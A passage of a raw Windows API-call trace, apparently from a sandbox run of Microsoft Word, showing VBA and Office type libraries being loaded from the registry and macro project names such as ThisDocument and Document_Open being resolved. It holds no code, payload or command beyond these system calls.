(hKey=0x5f2) returned 0x0 [0017.423] RegCloseKey (hKey=0x5ee) returned 0x0 [0017.423] RegCloseKey (hKey=0x5ea) returned 0x0 [0017.423] RegCloseKey (hKey=0x5e6) returned 0x0 [0017.423] LoadTypeLib (in: szFile="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL", pptlib=0x2658b8*=0x0 | out: pptlib=0x2658b8*=0x72d9b00) returned 0x0 [0017.423] IUnknown:AddRef (This=0x72d9b00) returned 0x4 [0017.423] IUnknown:QueryInterface (in: This=0x72d9b00, riid=0x7fef41cd2c8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2658c0 | out: ppvObject=0x2658c0*=0x0) returned 0x80004002 [0017.423] ITypeLib:RemoteGetDocumentation (in: This=0x72d9b00, index=-1, refPtrFlags=0x265970, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x265a01 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x265a01) returned 0x0 [0017.423] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="VBA", cchCount1=3, lpString2="Normal", cchCount2=6) returned 3 [0017.423] IUnknown:Release (This=0x72d9b00) returned 0x3 [0017.423] wcscpy_s (in: _Destination=0x743eeb8, _SizeInWords=0x89, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library") returned 0x0 [0017.423] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x2651a8 | out: phkResult=0x2651a8*=0x5e6) returned 0x0 [0017.423] RegOpenKeyW (in: hKey=0x5e6, lpSubKey="{00020905-0000-0000-C000-000000000046}", phkResult=0x2651a0 | out: phkResult=0x2651a0*=0x5ea) returned 0x0 [0017.423] RegEnumKeyW (in: hKey=0x5ea, dwIndex=0x0, lpName=0x2651b8, cchName=0xa | out: lpName="8.6") returned 0x0 [0017.424] wcscpy_s (in: _Destination=0x2651d0, _SizeInWords=0xa, _Source="8.6" | out: _Destination="8.6") returned 0x0 [0017.424] RegOpenKeyW (in: hKey=0x5ea, lpSubKey="8.6", phkResult=0x265288 | out: phkResult=0x265288*=0x5ee) returned 0x0 [0017.424] _ultoa_s (in: _Val=0x0, _DstBuf=0x2651f0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0017.424] RegOpenKeyA (in: hKey=0x5ee, lpSubKey="0", phkResult=0x2651e0 | out: phkResult=0x2651e0*=0x5f2) returned 0x0 [0017.424] RegOpenKeyW (in: hKey=0x5f2, lpSubKey="win64", phkResult=0x2651e8 | out: phkResult=0x2651e8*=0x5f6) returned 0x0 [0017.424] RegCloseKey (hKey=0x5f6) returned 0x0 [0017.424] RegCloseKey (hKey=0x5f2) returned 0x0 [0017.424] _ultow_s (in: _Value=0x0, _Buffer=0x265290, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0017.424] RegOpenKeyW (in: hKey=0x5ee, lpSubKey="0", phkResult=0x265268 | out: phkResult=0x265268*=0x5f2) returned 0x0 [0017.424] RegQueryValueW (in: hKey=0x5f2, lpSubKey="win64", lpData=0x2652b0, lpcbData=0x265260 | out: lpData="C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB", lpcbData=0x265260) returned 0x0 [0017.424] wcscpy_s (in: _Destination=0x265510, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB") returned 0x0 [0017.424] RegCloseKey (hKey=0x5f2) returned 0x0 [0017.424] RegCloseKey (hKey=0x5ee) returned 0x0 [0017.424] RegCloseKey (hKey=0x5ea) returned 0x0 [0017.424] RegCloseKey (hKey=0x5e6) returned 0x0 [0017.425] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB", pptlib=0x2658b8*=0x0 | out: pptlib=0x2658b8*=0x6f64030) returned 0x0 [0017.425] IUnknown:AddRef (This=0x6f64030) returned 0x8 [0017.425] IUnknown:QueryInterface (in: This=0x6f64030, riid=0x7fef41cd2c8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2658c0 | out: ppvObject=0x2658c0*=0x0) returned 0x80004002 [0017.425] ITypeLib:RemoteGetDocumentation (in: This=0x6f64030, index=-1, refPtrFlags=0x265970, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x265a01 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x265a01) returned 0x0 [0017.425] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Word", cchCount1=4, lpString2="Normal", cchCount2=6) returned 3 [0017.425] IUnknown:Release (This=0x6f64030) returned 0x7 [0017.425] wcscpy_s (in: _Destination=0x74788a8, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0017.425] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x2651a8 | out: phkResult=0x2651a8*=0x5e6) returned 0x0 [0017.425] RegOpenKeyW (in: hKey=0x5e6, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0x2651a0 | out: phkResult=0x2651a0*=0x5ea) returned 0x0 [0017.425] RegEnumKeyW (in: hKey=0x5ea, dwIndex=0x0, lpName=0x2651b8, cchName=0xa | out: lpName="1.0") returned 0x0 [0017.425] RegEnumKeyW (in: hKey=0x5ea, dwIndex=0x1, lpName=0x2651b8, cchName=0xa | out: lpName="2.0") returned 0x0 [0017.425] wcscpy_s (in: _Destination=0x2651d0, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0017.425] RegOpenKeyW (in: hKey=0x5ea, lpSubKey="2.0", phkResult=0x265288 | out: phkResult=0x265288*=0x5ee) returned 0x0 [0017.425] _ultoa_s (in: _Val=0x0, _DstBuf=0x2651f0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0017.425] RegOpenKeyA (in: hKey=0x5ee, lpSubKey="0", phkResult=0x2651e0 | out: phkResult=0x2651e0*=0x5f2) returned 0x0 [0017.425] RegOpenKeyW (in: hKey=0x5f2, lpSubKey="win64", phkResult=0x2651e8 | out: phkResult=0x2651e8*=0x5f6) returned 0x0 [0017.425] RegCloseKey (hKey=0x5f6) returned 0x0 [0017.425] RegCloseKey (hKey=0x5f2) returned 0x0 [0017.426] _ultow_s (in: _Value=0x0, _Buffer=0x265290, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0017.426] RegOpenKeyW (in: hKey=0x5ee, lpSubKey="0", phkResult=0x265268 | out: phkResult=0x265268*=0x5f2) returned 0x0 [0017.426] RegQueryValueW (in: hKey=0x5f2, lpSubKey="win64", lpData=0x2652b0, lpcbData=0x265260 | out: lpData="C:\\Windows\\system32\\stdole2.tlb", lpcbData=0x265260) returned 0x0 [0017.426] wcscpy_s (in: _Destination=0x265510, _SizeInWords=0x104, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0017.426] RegCloseKey (hKey=0x5f2) returned 0x0 [0017.426] RegCloseKey (hKey=0x5ee) returned 0x0 [0017.426] RegCloseKey (hKey=0x5ea) returned 0x0 [0017.426] RegCloseKey (hKey=0x5e6) returned 0x0 [0017.426] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x2658b8*=0x0 | out: pptlib=0x2658b8*=0x72d9dd0) returned 0x0 [0017.426] IUnknown:AddRef (This=0x72d9dd0) returned 0x6 [0017.426] IUnknown:QueryInterface (in: This=0x72d9dd0, riid=0x7fef41cd2c8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2658c0 | out: ppvObject=0x2658c0*=0x0) returned 0x80004002 [0017.426] ITypeLib:RemoteGetDocumentation (in: This=0x72d9dd0, index=-1, refPtrFlags=0x265970, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x265a01 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x265a01) returned 0x0 [0017.426] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="stdole", cchCount1=6, lpString2="Normal", cchCount2=6) returned 3 [0017.426] IUnknown:Release (This=0x72d9dd0) returned 0x5 [0017.426] wcscpy_s (in: _Destination=0x6f20d18, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0017.426] wcsncpy_s (in: _Destination=0x2655a0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0017.426] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0017.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x2654c0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0017.426] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0017.426] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0017.426] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=7, lpWideCharStr=0x737a028, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0017.426] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Normal", cchCount1=6, lpString2="Normal", cchCount2=6) returned 2 [0017.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x265b30, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0017.426] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0017.427] IUnknown:QueryInterface (in: This=0x6fae3b0, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265808 | out: ppvObject=0x265808*=0x0) returned 0x80004002 [0017.427] IUnknown:QueryInterface (in: This=0x6fae3b0, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265880 | out: ppvObject=0x265880*=0x0) returned 0x80004002 [0017.427] IUnknown:QueryInterface (in: This=0x6fae3b0, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2657f0 | out: ppvObject=0x2657f0*=0x0) returned 0x80004002 [0017.427] IUnknown:QueryInterface (in: This=0x6fae3b0, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265870 | out: ppvObject=0x265870*=0x0) returned 0x80004002 [0017.427] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae3b0, ppTypeAttr=0x2657f8, pDummy=0x10 | out: ppTypeAttr=0x2657f8, pDummy=0x10) returned 0x0 [0017.427] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae3b0) returned 0x0 [0017.427] IUnknown:AddRef (This=0x6fae3b0) returned 0x3 [0017.427] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae300, ppTypeAttr=0x265cd8, pDummy=0x0 | out: ppTypeAttr=0x265cd8, pDummy=0x0) returned 0x0 [0017.427] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae300) returned 0x0 [0017.427] IUnknown:Release (This=0x6fae300) returned 0x1 [0017.427] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0017.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0017.427] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0017.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=8, lpWideCharStr=0x737a028, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0017.427] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0017.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0017.427] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0017.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=8, lpWideCharStr=0x737a3b8, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0017.428] lstrlenA (lpString="Project") returned 7 [0017.428] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae300, ppTypeAttr=0x265c68, pDummy=0x0 | out: ppTypeAttr=0x265c68, pDummy=0x0) returned 0x0 [0017.428] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae300) returned 0x0 [0017.428] IUnknown:Release (This=0x6fae300) returned 0x1 [0017.428] IUnknown:QueryInterface (in: This=0x6fae300, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265b30 | out: ppvObject=0x265b30*=0x0) returned 0x80004002 [0017.428] IUnknown:AddRef (This=0x6fae300) returned 0x3 [0017.428] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae300, ppTypeAttr=0x265aa8, pDummy=0x10 | out: ppTypeAttr=0x265aa8, pDummy=0x10) returned 0x0 [0017.429] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae300) returned 0x0 [0017.429] IUnknown:Release (This=0x6fae300) returned 0x2 [0017.429] IUnknown:Release (This=0x6fae300) returned 0x1 [0017.429] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae3b0, ppTypeAttr=0x265a78, pDummy=0x0 | out: ppTypeAttr=0x265a78, pDummy=0x0) returned 0x0 [0017.429] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae3b0) returned 0x0 [0017.429] IUnknown:Release (This=0x6fae3b0) returned 0x2 [0017.429] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae3b0, ppTypeAttr=0x265c38, pDummy=0x0 | out: ppTypeAttr=0x265c38, pDummy=0x0) returned 0x0 [0017.429] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae3b0) returned 0x0 [0017.429] IUnknown:Release (This=0x6fae3b0) returned 0x2 [0017.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x265400, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0017.432] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0017.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x265400, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0017.441] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0017.441] ITypeInfo:RemoteGetDocumentation (in: This=0x6fae3b0, memid=5, refPtrFlags=0x2656f8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x14a01cf | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x14a01cf) returned 0x0 [0017.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0x265730, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5 [0017.441] _mbscpy_s (in: _Dst=0x265579, _DstSizeInBytes=0x5, _Src=0x265730 | out: _Dst=0x265579) returned 0x0 [0017.441] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document_Open") returned 0x1089c1 [0017.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x265120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0017.441] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0017.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x265120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0017.450] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0017.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="025b6e3d08", cchWideChar=11, lpMultiByteStr=0x2652f0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="025b6e3d08", lpUsedDefaultChar=0x0) returned 11 [0017.451] GetLocalTime (in: lpSystemTime=0x2653a0 | out: lpSystemTime=0x2653a0*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x2, wDay=0x16, wHour=0x1, wMinute=0x22, wSecond=0x0, wMilliseconds=0x1cd)) [0017.451] _ultow_s (in: _Value=0x5b6e3d08, _Buffer=0x7497874, _BufferCount=0x9, _Radix=16 | out: _Buffer="5b6e3d08") returned 0x0 [0017.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="035b6e3d08", cchWideChar=11, lpMultiByteStr=0x265320, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="035b6e3d08", lpUsedDefaultChar=0x0) returned 11 [0017.451] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae300, ppTypeAttr=0x2653d8, pDummy=0x0 | out: ppTypeAttr=0x2653d8, pDummy=0x0) returned 0x0 [0017.451] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae300) returned 0x0 [0017.451] IUnknown:Release (This=0x6fae300) returned 0x1 [0017.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x265150, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0017.451] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0017.451] IUnknown:Release (This=0x6fae300) returned 0x1 [0017.451] IUnknown:Release (This=0x6fae300) returned 0x1 [0017.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x264f20, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0017.452] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0017.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x264f20, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0017.460] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0017.460] IUnknown:AddRef (This=0x6fae3b0) returned 0x4 [0017.461] IUnknown:Release (This=0x6fae3b0) returned 0x3 [0017.461] IUnknown:Release (This=0x6fae300) returned 0x1 [0017.461] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae250, ppTypeAttr=0x265330, pDummy=0x0 | out: ppTypeAttr=0x265330, pDummy=0x0) returned 0x0 [0017.461] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae250) returned 0x0 [0017.461] IUnknown:Release (This=0x6fae250) returned 0x1 [0017.461] CoCreateGuid (in: pguid=0x265398 | out: pguid=0x265398*(Data1=0x6071c24, Data2=0x3b92, Data3=0x4baa, Data4=([0]=0xa0, [1]=0xfb, [2]=0x8e, [3]=0x17, [4]=0x2c, [5]=0xe7, [6]=0x91, [7]=0x0))) returned 0x0 [0017.461] CoCreateGuid (in: pguid=0x265398 | out: pguid=0x265398*(Data1=0xadce912d, Data2=0x1f1, Data3=0x4e6b, Data4=([0]=0x91, [1]=0xfb, [2]=0xc7, [3]=0x4, [4]=0xb2, [5]=0x71, [6]=0x3c, [7]=0x8c))) returned 0x0 [0017.461] IUnknown:AddRef (This=0x72d9b00) returned 0x4 [0017.461] strcpy_s (in: _Dst=0x6f2ae10, _DstSize=0x32, _Src="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0017.461] strcpy_s (in: _Dst=0x6f2ae50, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0017.462] IUnknown:AddRef (This=0x6f64030) returned 0xa [0017.462] strcpy_s (in: _Dst=0x6f2aec0, _DstSize=0x36, _Src="C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB" | out: _Dst="C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB") returned 0x0 [0017.462] strcpy_s (in: _Dst=0x6f2af00, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0017.462] IUnknown:AddRef (This=0x72d9dd0) returned 0x6 [0017.462] strcpy_s (in: _Dst=0x7502ea8, _DstSize=0x20, _Src="C:\\Windows\\system32\\stdole2.tlb" | out: _Dst="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0017.462] strcpy_s (in: _Dst=0x7502ed0, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0017.463] IUnknown:AddRef (This=0x7479720) returned 0x2 [0017.463] strcpy_s (in: _Dst=0x7502f40, _DstSize=0x40, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL") returned 0x0 [0017.463] strcpy_s (in: _Dst=0x7502f88, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0017.463] CoCreateGuid (in: pguid=0x6f2ad48 | out: pguid=0x6f2ad48*(Data1=0x3a612864, Data2=0xec0b, Data3=0x4fed, Data4=([0]=0x93, [1]=0x91, [2]=0x9e, [3]=0xe9, [4]=0x42, [5]=0x69, [6]=0x81, [7]=0x3c))) returned 0x0 [0017.463] IUnknown:QueryInterface (in: This=0x6fae300, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264c10 | out: ppvObject=0x264c10*=0x0) returned 0x80004002 [0017.463] IUnknown:AddRef (This=0x6fae300) returned 0x3 [0017.463] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae300, ppTypeAttr=0x264be0, pDummy=0x10 | out: ppTypeAttr=0x264be0, pDummy=0x10) returned 0x0 [0017.463] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae300) returned 0x0 [0017.463] IUnknown:Release (This=0x6fae300) returned 0x2 [0017.464] IUnknown:Release (This=0x6fae300) returned 0x1 [0017.464] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae3b0, ppTypeAttr=0x264be0, pDummy=0x264c10 | out: ppTypeAttr=0x264be0, pDummy=0x264c10*=0xffffffff) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x0, ppFuncDesc=0x264bd0, pDummy=0x264c28 | out: ppFuncDesc=0x264bd0, pDummy=0x264c28*=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x1, ppFuncDesc=0x264bd0, pDummy=0x90 | out: ppFuncDesc=0x264bd0, pDummy=0x90) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x2, ppFuncDesc=0x264bd0, pDummy=0x90 | out: ppFuncDesc=0x264bd0, pDummy=0x90) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x3, ppFuncDesc=0x264bd0, pDummy=0x90 | out: ppFuncDesc=0x264bd0, pDummy=0x90) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x4, ppFuncDesc=0x264bd0, pDummy=0x90 | out: ppFuncDesc=0x264bd0, pDummy=0x90) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x5, ppFuncDesc=0x264bd0, pDummy=0x90 | out: ppFuncDesc=0x264bd0, pDummy=0x90) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x6, ppFuncDesc=0x264bd0, pDummy=0x90 | out: ppFuncDesc=0x264bd0, pDummy=0x90) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x7, ppFuncDesc=0x264bd0, pDummy=0x90 | out: ppFuncDesc=0x264bd0, pDummy=0x90) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x8, ppFuncDesc=0x264bd0, pDummy=0x90 | out: ppFuncDesc=0x264bd0, pDummy=0x90) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x9, ppFuncDesc=0x264bd0, pDummy=0x90 | out: ppFuncDesc=0x264bd0, pDummy=0x90) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0xa, ppFuncDesc=0x264bd0, pDummy=0x90 | out: ppFuncDesc=0x264bd0, pDummy=0x90) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0xb, ppFuncDesc=0x264bd0, 